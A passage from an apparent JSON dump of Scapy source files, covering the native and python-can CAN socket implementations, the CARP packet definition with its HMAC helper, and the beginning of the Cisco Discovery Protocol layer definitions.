    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.description = CANSocket Utils\n# scapy.contrib.status = loads\n\n\"\"\"\nCANSocket.\n\"\"\"\n\nfrom scapy.error import log_loading\nfrom scapy.consts import LINUX\nfrom scapy.config import conf\n\nPYTHON_CAN = False\n\ntry:\n    if conf.contribs['CANSocket']['use-python-can']:\n        from can import BusABC as can_BusABC    # noqa: F401\n        PYTHON_CAN = True\nexcept ImportError:\n    log_loading.info(\"Can't import python-can.\")\nexcept KeyError:\n    log_loading.info(\"Configuration 'conf.contribs['CANSocket'] not found.\")\n\n\nif PYTHON_CAN:\n    log_loading.info(\"Using python-can CANSockets.\\nSpecify 'conf.contribs['CANSocket'] = {'use-python-can': False}' to enable native CANSockets.\")  # noqa: E501\n    from scapy.contrib.cansocket_python_can import (PythonCANSocket, CANSocket)  # noqa: E501 F401\n\nelif LINUX and not conf.use_pypy:\n    log_loading.info(\"Using native CANSockets.\\nSpecify 'conf.contribs['CANSocket'] = {'use-python-can': True}' to enable python-can CANSockets.\")  # noqa: E501\n    from scapy.contrib.cansocket_native import (NativeCANSocket, CANSocket)  # noqa: E501 F401\n\nelse:\n    log_loading.info(\"No CAN support available. Install python-can or use Linux and python3.\")  # noqa: E501\n"
  },
  {
    "path": "scapy/contrib/cansocket_native.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.description = Native CANSocket\n# scapy.contrib.status = loads\n\n\"\"\"\nNativeCANSocket.\n\"\"\"\n\nimport struct\nimport socket\nimport time\n\nfrom scapy.config import conf\nfrom scapy.data import SO_TIMESTAMPNS\nfrom scapy.supersocket import SuperSocket\nfrom scapy.error import Scapy_Exception, warning, log_runtime\nfrom scapy.packet import Packet\nfrom scapy.layers.can import CAN, CAN_MTU, CAN_FD_MTU\nfrom scapy.compat import raw\n\nfrom typing import (\n    List,\n    Dict,\n    Type,\n    Any,\n    Optional,\n    Tuple,\n    cast,\n)\n\nconf.contribs['NativeCANSocket'] = {'channel': \"can0\"}\n\n\nclass NativeCANSocket(SuperSocket):\n    \"\"\"Initializes a Linux PF_CAN socket object.\n\n    Example:\n        >>> socket = NativeCANSocket(channel=\"vcan0\", can_filters=[{'can_id': 0x200, 'can_mask': 0x7FF}])\n\n    :param channel: Network interface name\n    :param receive_own_messages: Messages, sent by this socket are will\n                                 also be received.\n    :param can_filters: A list of can filter dictionaries.\n    :param basecls: Packet type in which received data gets interpreted.\n    :param kwargs: Various keyword arguments for compatibility with\n                   PythonCANSockets\n    \"\"\"  # noqa: E501\n    desc = \"read/write packets at a given CAN interface using PF_CAN sockets\"\n\n    def __init__(self,\n                 channel=None,  # type: Optional[str]\n                 receive_own_messages=False,  # type: bool\n                 can_filters=None,  # type: Optional[List[Dict[str, int]]]\n                 fd=False,  # type: bool\n                 basecls=CAN,  # type: Type[Packet]\n                 **kwargs  # type: Dict[str, Any]\n                 ):\n        # type: (...) -> None\n        bustype = cast(Optional[str], kwargs.pop(\"bustype\", None))\n        if bustype and bustype != \"socketcan\":\n            warning(\"You created a NativeCANSocket. \"\n                    \"If you're providing the argument 'bustype', please use \"\n                    \"the correct one to achieve compatibility with python-can\"\n                    \"/PythonCANSocket. \\n'bustype=socketcan'\")\n\n        self.MTU = CAN_MTU\n        self.fd = fd\n        self.basecls = basecls\n        self.channel = conf.contribs['NativeCANSocket']['channel'] if \\\n            channel is None else channel\n        self.ins = socket.socket(socket.PF_CAN,\n                                 socket.SOCK_RAW,\n                                 socket.CAN_RAW)\n        try:\n            self.ins.setsockopt(socket.SOL_CAN_RAW,\n                                socket.CAN_RAW_RECV_OWN_MSGS,\n                                struct.pack(\"i\", receive_own_messages))\n        except Exception as exception:\n            raise Scapy_Exception(\n                \"Could not modify receive own messages (%s)\", exception\n            )\n\n        try:\n            # Receive Auxiliary Data (Timestamps)\n            self.ins.setsockopt(\n                socket.SOL_SOCKET,\n                SO_TIMESTAMPNS,\n                1\n            )\n            self.auxdata_available = True\n        except OSError:\n            # Note: Auxiliary Data is only supported since\n            #       Linux 2.6.21\n            msg = \"Your Linux Kernel does not support Auxiliary Data!\"\n            log_runtime.info(msg)\n\n        if self.fd:\n            try:\n                self.ins.setsockopt(socket.SOL_CAN_RAW,\n                                    socket.CAN_RAW_FD_FRAMES,\n                                    1)\n                self.MTU = CAN_FD_MTU\n            except Exception as exception:\n                raise Scapy_Exception(\n                    \"Could not enable CAN FD support (%s)\", exception\n                )\n\n        if can_filters is None:\n            can_filters = [{\n                \"can_id\": 0,\n                \"can_mask\": 0\n            }]\n\n        can_filter_fmt = \"={}I\".format(2 * len(can_filters))\n        filter_data = []\n        for can_filter in can_filters:\n            filter_data.append(can_filter[\"can_id\"])\n            filter_data.append(can_filter[\"can_mask\"])\n\n        self.ins.setsockopt(socket.SOL_CAN_RAW,\n                            socket.CAN_RAW_FILTER,\n                            struct.pack(can_filter_fmt, *filter_data))\n\n        self.ins.bind((self.channel,))\n        self.outs = self.ins\n\n    def recv_raw(self, x=CAN_MTU):\n        # type: (int) -> Tuple[Optional[Type[Packet]], Optional[bytes], Optional[float]]  # noqa: E501\n        \"\"\"Returns a tuple containing (cls, pkt_data, time)\"\"\"\n        pkt = None\n        ts = None\n        try:\n            pkt, _, ts = self._recv_raw(self.ins, self.MTU)\n        except BlockingIOError:  # noqa: F821\n            warning(\"Captured no data, socket in non-blocking mode.\")\n        except socket.timeout:\n            warning(\"Captured no data, socket read timed out.\")\n        except OSError:\n            # something bad happened (e.g. the interface went down)\n            warning(\"Captured no data.\")\n\n        # need to change the byte order of the first four bytes,\n        # required by the underlying Linux SocketCAN frame format\n        if not conf.contribs['CAN']['swap-bytes'] and pkt:\n            pack_fmt = \"<I%ds\" % (len(pkt) - 4)\n            unpack_fmt = \">I%ds\" % (len(pkt) - 4)\n            pkt = struct.pack(pack_fmt, *struct.unpack(unpack_fmt, pkt))\n\n        if pkt and ts is None:\n            from scapy.arch.linux import get_last_packet_timestamp\n            ts = get_last_packet_timestamp(self.ins)\n\n        return self.basecls, pkt, ts\n\n    def send(self, x):\n        # type: (Packet) -> int\n        if x is None:\n            return 0\n\n        try:\n            x.sent_time = time.time()\n        except AttributeError:\n            pass\n\n        # need to change the byte order of the first four bytes,\n        # required by the underlying Linux SocketCAN frame format\n        bs = raw(x)\n        if not conf.contribs['CAN']['swap-bytes']:\n            pack_fmt = \"<I%ds\" % (len(bs) - 4)\n            unpack_fmt = \">I%ds\" % (len(bs) - 4)\n            bs = struct.pack(pack_fmt, *struct.unpack(unpack_fmt, bs))\n\n        bs = bs + b\"\\x00\" * (self.MTU - len(bs))\n\n        return super(NativeCANSocket, self).send(bs)  # type: ignore\n\n\nCANSocket = NativeCANSocket\n"
  },
  {
    "path": "scapy/contrib/cansocket_python_can.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Nils Weiss <nils@we155.de>\n\n# scapy.contrib.description = python-can CANSocket\n# scapy.contrib.status = loads\n\n\"\"\"\nPython-CAN CANSocket Wrapper.\n\"\"\"\n\nimport time\nimport struct\nimport threading\n\nfrom functools import reduce\nfrom operator import add\n\nfrom collections import deque\n\nfrom scapy.config import conf\nfrom scapy.supersocket import SuperSocket\nfrom scapy.layers.can import CAN\nfrom scapy.packet import Packet\nfrom scapy.error import warning\nfrom typing import (\n    List,\n    Type,\n    Tuple,\n    Dict,\n    Any,\n    Optional,\n    cast,\n)\n\nfrom can import Message as can_Message\nfrom can import CanError as can_CanError\nfrom can import BusABC as can_BusABC\nfrom can.interface import Bus as can_Bus\n\n__all__ = [\"CANSocket\", \"PythonCANSocket\"]\n\n\nclass SocketMapper(object):\n    \"\"\"Internal Helper class to map a python-can bus object to\n    a list of SocketWrapper instances\n    \"\"\"\n    def __init__(self, bus, sockets):\n        # type: (can_BusABC, List[SocketWrapper]) -> None\n        \"\"\"Initializes the SocketMapper helper class\n\n        :param bus: A python-can Bus object\n        :param sockets: A list of SocketWrapper objects which want to receive\n                        messages from the provided python-can Bus object.\n        \"\"\"\n        self.bus = bus\n        self.sockets = sockets\n        self.closing = False\n\n    # Maximum time (seconds) to spend reading frames in one read_bus()\n    # call.  On serial interfaces (slcan) the final bus.recv(timeout=0)\n    # when the buffer is empty blocks for the serial port's read timeout\n    # (typically 100ms in python-can's slcan driver).  During that block\n    # the TimeoutScheduler thread cannot run any other callbacks.  By\n    # capping total read time, we ensure the scheduler stays responsive\n    # even on slow serial interfaces with heavy background traffic.\n    READ_BUS_TIME_LIMIT = 0.020  # 20 ms\n\n    def read_bus(self):\n        # type: () -> List[can_Message]\n        \"\"\"Read available frames from the bus, up to READ_BUS_TIME_LIMIT.\n\n        On slow serial interfaces (slcan), bus.recv(timeout=0) can\n        block for ~100ms when the serial buffer is empty (python-can's\n        slcan serial timeout).  This method limits total time spent\n        reading so the TimeoutScheduler thread stays responsive.\n\n        This method intentionally does NOT hold pool_mutex so that\n        concurrent send() calls are not blocked during the serial I/O.\n        \"\"\"\n        if self.closing:\n            return []\n        msgs = []\n        deadline = time.monotonic() + self.READ_BUS_TIME_LIMIT\n        while True:\n            try:\n                msg = self.bus.recv(timeout=0)\n                if msg is None:\n                    break\n                else:\n                    msgs.append(msg)\n                if time.monotonic() >= deadline:\n                    break\n            except Exception as e:\n                if not self.closing:\n                    warning(\"[MUX] python-can exception caught: %s\" % e)\n                break\n        return msgs\n\n    def distribute(self, msgs):\n        # type: (List[can_Message]) -> None\n        \"\"\"Distribute received messages to all subscribed sockets.\"\"\"\n        for sock in self.sockets:\n            with sock.lock:\n                for msg in msgs:\n                    if sock._matches_filters(msg):\n                        sock.rx_queue.append(msg)\n\n\nclass _SocketsPool(object):\n    \"\"\"Helper class to organize all SocketWrapper and SocketMapper objects\"\"\"\n    def __init__(self):\n        # type: () -> None\n        self.pool = dict()  # type: Dict[str, SocketMapper]\n        self.pool_mutex = threading.Lock()\n        self.last_call = 0.0\n\n    def internal_send(self, sender, msg):\n        # type: (SocketWrapper, can_Message) -> None\n        \"\"\"Internal send function.\n\n        A given SocketWrapper wants to send a CAN message. The python-can\n        Bus object is obtained from an internal pool of SocketMapper objects.\n        The given message is sent on the python-can Bus object and also\n        inserted into the message queues of all other SocketWrapper objects\n        which are connected to the same python-can bus object\n        by the SocketMapper.\n\n        :param sender: SocketWrapper which initiated a send of a CAN message\n        :param msg: CAN message to be sent\n        \"\"\"\n        if sender.name is None:\n            raise TypeError(\"SocketWrapper.name should never be None\")\n\n        with self.pool_mutex:\n            try:\n                mapper = self.pool[sender.name]\n                mapper.bus.send(msg)\n                for sock in mapper.sockets:\n                    if sock == sender:\n                        continue\n                    if not sock._matches_filters(msg):\n                        continue\n\n                    with sock.lock:\n                        sock.rx_queue.append(msg)\n            except KeyError:\n                warning(\"[SND] Socket %s not found in pool\" % sender.name)\n            except can_CanError as e:\n                warning(\"[SND] python-can exception caught: %s\" % e)\n\n    def multiplex_rx_packets(self):\n        # type: () -> None\n        \"\"\"This calls the mux() function of all SocketMapper\n        objects in this SocketPool\n        \"\"\"\n        if time.monotonic() - self.last_call < 0.001:\n            # Avoid starvation if multiple threads are doing selects, since\n            # this object is singleton and all python-CAN sockets are using\n            # the same instance and locking the same locks.\n            return\n        # Snapshot pool entries under the lock, then read from each bus\n        # WITHOUT holding pool_mutex.  On slow serial interfaces (slcan)\n        # bus.recv(timeout=0) can take ~2-3ms per frame; holding the\n        # mutex during those reads would block send() for the entire\n        # duration.\n        with self.pool_mutex:\n            mappers = list(self.pool.values())\n        for mapper in mappers:\n            msgs = mapper.read_bus()\n            if msgs:\n                mapper.distribute(msgs)\n        self.last_call = time.monotonic()\n\n    def register(self, socket, *args, **kwargs):\n        # type: (SocketWrapper, Tuple[Any, ...], Dict[str, Any]) -> None\n        \"\"\"Registers a SocketWrapper object. Every SocketWrapper describes to\n        a python-can bus object. This python-can bus object can only exist\n        once. In case this object already exists in this SocketsPool, organized\n        by a SocketMapper object, the new SocketWrapper is inserted in the\n        list of subscribers of the SocketMapper. Otherwise a new python-can\n        Bus object is created from the provided args and kwargs and inserted,\n        encapsulated in a SocketMapper, into this SocketsPool.\n\n        :param socket: SocketWrapper object which needs to be registered.\n        :param args: Arguments for the python-can Bus object\n        :param kwargs: Keyword arguments for the python-can Bus object\n        \"\"\"\n        if \"interface\" in kwargs.keys():\n            k = str(kwargs.get(\"interface\", \"unknown_interface\")) + \"_\" + \\\n                str(kwargs.get(\"channel\", \"unknown_channel\"))\n        else:\n            k = str(kwargs.get(\"bustype\", \"unknown_bustype\")) + \"_\" + \\\n                str(kwargs.get(\"channel\", \"unknown_channel\"))\n        with self.pool_mutex:\n            if k in self.pool:\n                t = self.pool[k]\n                t.sockets.append(socket)\n                # Update bus-level filters to the union of all sockets'\n                # filters.  For non-slcan interfaces (socketcan, kvaser,\n                # vector), this enables efficient hardware/kernel\n                # filtering.  For slcan, the bus filters were already\n                # cleared on creation, so this is a no-op (all sockets\n                # on slcan share the unfiltered bus).\n                if not k.lower().startswith('slcan'):\n                    filters = [s.filters for s in t.sockets\n                               if s.filters is not None]\n                    if filters:\n                        t.bus.set_filters(reduce(add, filters))\n                socket.name = k\n            else:\n                bus = can_Bus(*args, **kwargs)\n                # Serial interfaces like slcan only do software\n                # filtering inside BusABC.recv(): the recv loop reads\n                # one frame, finds it doesn't match, and returns\n                # None -- silently consuming serial bandwidth without\n                # returning the frame to the mux.  This starves the\n                # mux on busy buses.\n                #\n                # For slcan, clear the filters from the bus so that\n                # bus.recv() returns ALL frames.  Per-socket filtering\n                # in distribute() via _matches_filters() handles\n                # delivery.  Other interfaces (socketcan, kvaser,\n                # vector, candle) perform efficient hardware/kernel\n                # filtering and should keep their bus-level filters.\n                if kwargs.get('can_filters') and \\\n                        k.lower().startswith('slcan'):\n                    bus.set_filters(None)\n                socket.name = k\n                self.pool[k] = SocketMapper(bus, [socket])\n\n    def unregister(self, socket):\n        # type: (SocketWrapper) -> None\n        \"\"\"Unregisters a SocketWrapper from its subscription to a SocketMapper.\n\n        If a SocketMapper doesn't have any subscribers, the python-can Bus\n        get shutdown.\n\n        :param socket: SocketWrapper to be unregistered\n        \"\"\"\n        if socket.name is None:\n            raise TypeError(\"SocketWrapper.name should never be None\")\n\n        with self.pool_mutex:\n            try:\n                t = self.pool[socket.name]\n                t.sockets.remove(socket)\n                if not t.sockets:\n                    t.closing = True\n                    t.bus.shutdown()\n                    del self.pool[socket.name]\n            except KeyError:\n                warning(\"Socket %s already removed from pool\" % socket.name)\n\n\nSocketsPool = _SocketsPool()\n\n\nclass SocketWrapper(can_BusABC):\n    \"\"\"Helper class to wrap a python-can Bus object as socket\"\"\"\n\n    def __init__(self, *args, **kwargs):\n        # type: (Tuple[Any, ...], Dict[str, Any]) -> None\n        \"\"\"Initializes a new python-can based socket, described by the provided\n        arguments and keyword arguments. This SocketWrapper gets automatically\n        registered in the SocketsPool.\n\n        :param args: Arguments for the python-can Bus object\n        :param kwargs: Keyword arguments for the python-can Bus object\n        \"\"\"\n        super(SocketWrapper, self).__init__(*args, **kwargs)\n        self.lock = threading.Lock()\n        self.rx_queue = deque()  # type: deque[can_Message]\n        self.name = None  # type: Optional[str]\n        SocketsPool.register(self, *args, **kwargs)\n\n    def _recv_internal(self, timeout):\n        # type: (int) -> Tuple[Optional[can_Message], bool]\n        \"\"\"Internal blocking receive method,\n        following the ``can_BusABC`` interface of python-can.\n\n        This triggers the multiplex function of the general SocketsPool.\n\n        :param timeout: Time to wait for a packet\n        :return: Returns a tuple of either a can_Message or None and a bool to\n                 indicate if filtering was already applied.\n        \"\"\"\n        if not self.rx_queue:\n            # Early return without locking if it looks like rx_queue is empty\n            return None, True\n\n        with self.lock:\n            # It could be that 2 threads are using this same socket, so it's\n            # necessary to check again if the queue was emptied between the\n            # previous check and now\n            if len(self.rx_queue) == 0:\n                return None, True\n            msg = self.rx_queue.popleft()\n            return msg, True\n\n    def send(self, msg, timeout=None):\n        # type: (can_Message, Optional[int]) -> None\n        \"\"\"Send function, following the ``can_BusABC`` interface of python-can.\n\n        :param msg: Message to be sent.\n        :param timeout: Not used.\n        \"\"\"\n        SocketsPool.internal_send(self, msg)\n\n    def shutdown(self):\n        # type: () -> None\n        \"\"\"Shutdown function, following the ``can_BusABC`` interface of\n        python-can.\n        \"\"\"\n        SocketsPool.unregister(self)\n        super().shutdown()\n\n\nclass PythonCANSocket(SuperSocket):\n    \"\"\"Initializes a python-can bus object as Scapy PythonCANSocket.\n\n    All provided keyword arguments, except *basecls* are forwarded to\n    the python-can can_Bus init function. For further details on python-can\n    check: https://python-can.readthedocs.io/\n\n    Example:\n        >>> socket = PythonCANSocket(bustype='socketcan', channel='vcan0', bitrate=250000)\n    \"\"\"  # noqa: E501\n    desc = \"read/write packets at a given CAN interface \" \\\n           \"using a python-can bus object\"\n    nonblocking_socket = True\n\n    def __init__(self, **kwargs):\n        # type: (Dict[str, Any]) -> None\n        self.basecls = cast(Optional[Type[Packet]], kwargs.pop(\"basecls\", CAN))\n        self.can_iface = SocketWrapper(**kwargs)\n\n    def recv_raw(self, x=0xffff):\n        # type: (int) -> Tuple[Optional[Type[Packet]], Optional[bytes], Optional[float]]  # noqa: E501\n        \"\"\"Returns a tuple containing (cls, pkt_data, time)\"\"\"\n        msg = self.can_iface.recv()\n\n        hdr = msg.is_extended_id << 31 | msg.is_remote_frame << 30 | \\\n            msg.is_error_frame << 29 | msg.arbitration_id\n\n        if conf.contribs['CAN']['swap-bytes']:\n            hdr = struct.unpack(\"<I\", struct.pack(\">I\", hdr))[0]\n\n        dlc = msg.dlc << 24 | msg.is_fd << 18 | \\\n            msg.error_state_indicator << 17 | msg.bitrate_switch << 16\n        pkt_data = struct.pack(\"!II\", hdr, dlc) + bytes(msg.data)\n        return self.basecls, pkt_data, msg.timestamp\n\n    def send(self, x):\n        # type: (Packet) -> int\n        bx = bytes(x)\n        msg = can_Message(is_remote_frame=x.flags == 0x2,\n                          is_extended_id=x.flags == 0x4,\n                          is_error_frame=x.flags == 0x1,\n                          arbitration_id=x.identifier,\n                          is_fd=bx[5] & 4 > 0,\n                          error_state_indicator=bx[5] & 2 > 0,\n                          bitrate_switch=bx[5] & 1 > 0,\n                          dlc=x.length,\n                          data=bx[8:])\n        msg.timestamp = time.time()\n        try:\n            x.sent_time = msg.timestamp\n        except AttributeError:\n            pass\n        self.can_iface.send(msg)\n        return len(x)\n\n    @staticmethod\n    def select(sockets, remain=conf.recv_poll_rate):\n        # type: (List[SuperSocket], Optional[float]) -> List[SuperSocket]\n        \"\"\"This function is called during sendrecv() routine to select\n        the available sockets.\n\n        :param sockets: an array of sockets that need to be selected\n        :returns: an array of sockets that were selected and\n            the function to be called next to get the packets (i.g. recv)\n        \"\"\"\n        SocketsPool.multiplex_rx_packets()\n        ready_sockets = \\\n            [s for s in sockets if isinstance(s, PythonCANSocket) and\n             len(s.can_iface.rx_queue)]\n        # checking the queue length without locking might sound\n        # dangerous, but for the purpose of this select, if another\n        # thread is reading the same socket, then even proper locking\n        # wouldn't help\n        if not ready_sockets:\n            # yield this thread to avoid starvation\n            time.sleep(0)\n\n        return cast(List[SuperSocket], ready_sockets)\n\n    def close(self):\n        # type: () -> None\n        \"\"\"Closes this socket\"\"\"\n        if self.closed:\n            return\n        super(PythonCANSocket, self).close()\n        self.can_iface.shutdown()\n\n\nCANSocket = PythonCANSocket\n"
  },
  {
    "path": "scapy/contrib/carp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-or-later\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# scapy.contrib.description = Common Address Redundancy Protocol (CARP)\n# scapy.contrib.status = loads\n\nimport struct\nimport hmac\nimport hashlib\n\nfrom scapy.packet import Packet, split_layers, bind_layers\nfrom scapy.layers.inet import IP\nfrom scapy.fields import BitField, ByteField, XShortField, XIntField\nfrom scapy.layers.vrrp import IPPROTO_VRRP, VRRP, VRRPv3\nfrom scapy.utils import checksum, inet_aton\nfrom scapy.error import warning\n\n\nclass CARP(Packet):\n    name = \"CARP\"\n    fields_desc = [BitField(\"version\", 4, 4),\n                   BitField(\"type\", 4, 4),\n                   ByteField(\"vhid\", 1),\n                   ByteField(\"advskew\", 0),\n                   ByteField(\"authlen\", 0),\n                   ByteField(\"demotion\", 0),\n                   ByteField(\"advbase\", 0),\n                   XShortField(\"chksum\", None),\n                   XIntField(\"counter1\", 0),\n                   XIntField(\"counter2\", 0),\n                   XIntField(\"hmac1\", 0),\n                   XIntField(\"hmac2\", 0),\n                   XIntField(\"hmac3\", 0),\n                   XIntField(\"hmac4\", 0),\n                   XIntField(\"hmac5\", 0)\n                   ]\n\n    def post_build(self, pkt, pay):\n        if self.chksum is None:\n            pkt = pkt[:6] + struct.pack(\"!H\", checksum(pkt)) + pkt[8:]\n\n        return pkt\n\n    def build_hmac_sha1(self, pw=b'\\x00' * 20, ip4l=[], ip6l=[]):\n        h = hmac.new(pw, digestmod=hashlib.sha1)\n        # XXX: this is a dirty hack. it needs to pack version and type into a single 8bit field  # noqa: E501\n        h.update(b'\\x21')\n        # XXX: mac addy if different from special link layer. comes before vhid\n        h.update(struct.pack('!B', self.vhid))\n\n        sl = []\n        for i in ip4l:\n            # sort ips from smallest to largest\n            sl.append(inet_aton(i))\n        sl.sort()\n\n        for i in sl:\n            h.update(i)\n\n        # XXX: do ip6l sorting\n\n        return h.digest()\n\n\nwarning(\"CARP overwrites VRRP !\")\n# This cancel the bindings done in vrrp.py\nsplit_layers(IP, VRRP, proto=IPPROTO_VRRP)\nsplit_layers(IP, VRRPv3, proto=IPPROTO_VRRP)\n# CARP bindings\nbind_layers(IP, CARP, proto=112, dst='224.0.0.18')\n"
  },
  {
    "path": "scapy/contrib/cdp.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) 2006 Nicolas Bareil  <nicolas.bareil AT eads DOT net>\n#                    Arnaud Ebalard  <arnaud.ebalard AT eads DOT net>\n#                    EADS/CRC security team\n\n# scapy.contrib.description = Cisco Discovery Protocol (CDP)\n# scapy.contrib.status = loads\n\n\"\"\"\nCisco Discovery Protocol (CDP) extension for Scapy\n\"\"\"\n\nimport struct\n\nfrom scapy.packet import Packet, bind_layers\nfrom scapy.fields import (\n    ByteEnumField,\n    ByteField,\n    FieldLenField,\n    FieldListField,\n    FlagsField,\n    IntField,\n    IP6Field,\n    IPField,\n    OUIField,\n    PacketListField,\n    ShortField,\n    StrLenField,\n    XByteField,\n    XShortEnumField,\n    XShortField,\n)\nfrom scapy.layers.inet import checksum\nfrom scapy.layers.l2 import SNAP\nfrom scapy.compat import orb, chb\nfrom scapy.config import conf\n\n\n#####################################################################\n# Helpers and constants\n#####################################################################\n\n# CDP TLV classes keyed by type\n_cdp_tlv_cls = {0x0001: \"CDPMsgDeviceID\",\n                0x0002: \"CDPMsgAddr\",\n                0x0003: \"CDPMsgPortID\",\n                0x0004: \"CDPMsgCapabilities\",\n                0x0005: \"CDPMsgSoftwareVersion\",\n                0x0006: \"CDPMsgPlatform\",\n                0x0008: \"CDPMsgProtoHello\",\n                0x0009: \"CDPMsgVTPMgmtDomain\",  # CDPv2\n                0x000a: \"CDPMsgNativeVLAN\",    # CDPv2\n                0x000b: \"CDPMsgDuplex\",        #\n                #                 0x000c: \"CDPMsgGeneric\",\n                #                 0x000d: \"CDPMsgGeneric\",\n                0x000e: \"CDPMsgVoIPVLANReply\",\n                0x000f: \"CDPMsgVoIPVLANQuery\",\n                0x0010: \"CDPMsgPower\",\n                0x0011: \"CDPMsgMTU\",\n                0x0012: \"CDPMsgTrustBitmap\",\n                0x0013: \"CDPMsgUntrustedPortCoS\",\n                #                 0x0014: \"CDPMsgSystemName\",\n                #                 0x0015: \"CDPMsgSystemOID\",\n                0x0016: \"CDPMsgMgmtAddr\",\n                #                 0x0017: \"CDPMsgLocation\",\n                0x0019: \"CDPMsgPowerRequest\",\n                0x001a: \"CDPMsgPowerAvailable\"\n                }\n\n_cdp_tlv_types = {0x0001: \"Device ID\",\n                  0x0002: \"Addresses\",\n                  0x0003: \"Port ID\",\n                  0x0004: \"Capabilities\",\n                  0x0005: \"Software Version\",\n                  0x0006: \"Platform\",\n                  0x0007: \"IP Prefix\",\n                  0x0008: \"Protocol Hello\",\n                  0x0009: \"VTP Management Domain\",  # CDPv2\n                  0x000a: \"Native VLAN\",    # CDPv2\n                  0x000b: \"Duplex\",        #\n                  0x000c: \"CDP Unknown command (send us a pcap file)\",\n                  0x000d: \"CDP Unknown command (send us a pcap file)\",\n                  0x000e: \"VoIP VLAN Reply\",\n                  0x000f: \"VoIP VLAN Query\",\n                  0x0010: \"Power\",\n                  0x0011: \"MTU\",\n                  0x0012: \"Trust Bitmap\",\n                  0x0013: \"Untrusted Port CoS\",\n                  0x0014: \"System Name\",\n                  0x0015: \"System OID\",\n                  0x0016: \"Management Address\",\n                  0x0017: \"Location\",\n                  0x0018: \"CDP Unknown command (send us a pcap file)\",\n                  0x0019: \"Power Request\",\n                  0x001a: \"Power Available\"}\n\n\ndef _CDPGuessPayloadClass(p, **kargs):\n    cls = conf.raw_layer\n    if len(p) >= 2:\n        t = struct.unpack(\"!H\", p[:2])[0]\n        if t == 0x0007 and len(p) > 4:\n            tmp_len = struct.unpack(\"!H\", p[2:4])[0]\n            if tmp_len == 8:\n                clsname = \"CDPMsgIPGateway\"\n            else:\n                clsname = \"CDPMsgIPPrefix\"\n        else:\n            clsname = _cdp_tlv_cls.get(t, \"CDPMsgGeneric\")\n        cls = globals()[clsname]\n\n    return cls(p, **kargs)\n\n\nclass CDPMsgGeneric(Packet):\n    name = \"CDP Generic Message\"\n    fields_desc = [XShortEnumField(\"type\", None, _cdp_tlv_types),\n                   FieldLenField(\"len\", None, \"val\", \"!H\",\n                                 adjust=lambda pkt, x: x + 4),\n                   StrLenField(\"val\", \"\", length_from=lambda x:x.len - 4,\n                               max_length=65531)]\n\n    def guess_payload_class(self, p):\n        return conf.padding_layer  # _CDPGuessPayloadClass\n\n\nclass CDPMsgDeviceID(CDPMsgGeneric):\n    name = \"Device ID\"\n    type = 0x0001\n\n\n_cdp_addr_record_ptype = {0x01: \"NLPID\", 0x02: \"802.2\"}\n_cdp_addrrecord_proto_ip = b\"\\xcc\"\n_cdp_addrrecord_proto_ipv6 = b\"\\xaa\\xaa\\x03\\x00\\x00\\x00\\x86\\xdd\"\n\n\nclass CDPAddrRecord(Packet):\n    name = \"CDP Address\"\n    fields_desc = [ByteEnumField(\"ptype\", 0x01, _cdp_addr_record_ptype),\n                   FieldLenField(\"plen\", None, \"proto\", \"B\"),\n                   StrLenField(\"proto\", None, length_from=lambda x:x.plen,\n                               max_length=255),\n                   FieldLenField(\"addrlen\", None, length_of=lambda x:x.addr),\n                   StrLenField(\"addr\", None, length_from=lambda x:x.addrlen,\n                               max_length=65535)]\n\n    def guess_payload_class(self, p):\n        return conf.padding_layer\n\n\nclass CDPAddrRecordIPv4(CDPAddrRecord):\n    name = \"CDP Address IPv4\"\n    fields_desc = [ByteEnumField(\"ptype\", 0x01, _cdp_addr_record_ptype),\n                   FieldLenField(\"plen\", 1, \"proto\", \"B\"),\n                   StrLenField(\"proto\", _cdp_addrrecord_proto_ip,\n                               length_from=lambda x: x.plen, max_length=255),\n                   ShortField(\"addrlen\", 4),\n                   IPField(\"addr\", \"0.0.0.0\")]\n\n\nclass CDPAddrRecordIPv6(CDPAddrRecord):\n    name = \"CDP Address IPv6\"\n    fields_desc = [ByteEnumField(\"ptype\", 0x02, _cdp_addr_record_ptype),\n                   FieldLenField(\"plen\", 8, \"proto\", \"B\"),\n                   StrLenField(\"proto\", _cdp_addrrecord_proto_ipv6,\n                               length_from=lambda x:x.plen, max_length=255),\n                   ShortField(\"addrlen\", 16),\n                   IP6Field(\"addr\", \"::1\")]\n\n\ndef _CDPGuessAddrRecord(p, **kargs):\n    cls = conf.raw_layer\n    if len(p) >= 2:\n        plen = orb(p[1])\n        proto = p[2:plen + 2]\n\n        if proto == _cdp_addrrecord_proto_ip:\n            clsname = \"CDPAddrRecordIPv4\"\n        elif proto == _cdp_addrrecord_proto_ipv6:\n            clsname = \"CDPAddrRecordIPv6\"\n        else:\n            clsname = \"CDPAddrRecord\"\n\n        cls = globals()[clsname]\n\n    return cls(p, **kargs)\n\n\nclass CDPMsgAddr(CDPMsgGeneric):\n    name = \"Addresses\"\n    fields_desc = [XShortEnumField(\"type\", 0x0002, _cdp_tlv_types),\n                   ShortField(\"len\", None),\n                   FieldLenField(\"naddr\", None, fmt=\"!I\", count_of=\"addr\"),\n                   PacketListField(\"addr\", [], _CDPGuessAddrRecord,\n                                   length_from=lambda x:x.len - 8)]\n\n    def post_build(self, pkt, pay):\n        if self.len is None:\n            pkt = pkt[:2] + struct.pack(\"!H\", len(pkt)) + pkt[4:]\n        p = pkt + pay\n        return p\n\n\nclass CDPMsgPortID(CDPMsgGeneric):\n    name = \"Port ID\"\n    fields_desc = [XShortEnumField(\"type\", 0x0003, _cdp_tlv_types),\n                   FieldLenField(\"len\", None, \"iface\", \"!H\",\n                                 adjust=lambda pkt, x: x + 4),\n                   StrLenField(\"iface\", \"Port 1\", length_from=lambda x:x.len - 4)]  # noqa: E501\n\n\n_cdp_capabilities = [\"Router\",\n                     \"TransparentBridge\",\n                     \"SourceRouteBridge\",\n                     \"Switch\",\n                     \"Host\",\n                     \"IGMPCapable\",\n                     \"Repeater\"] + 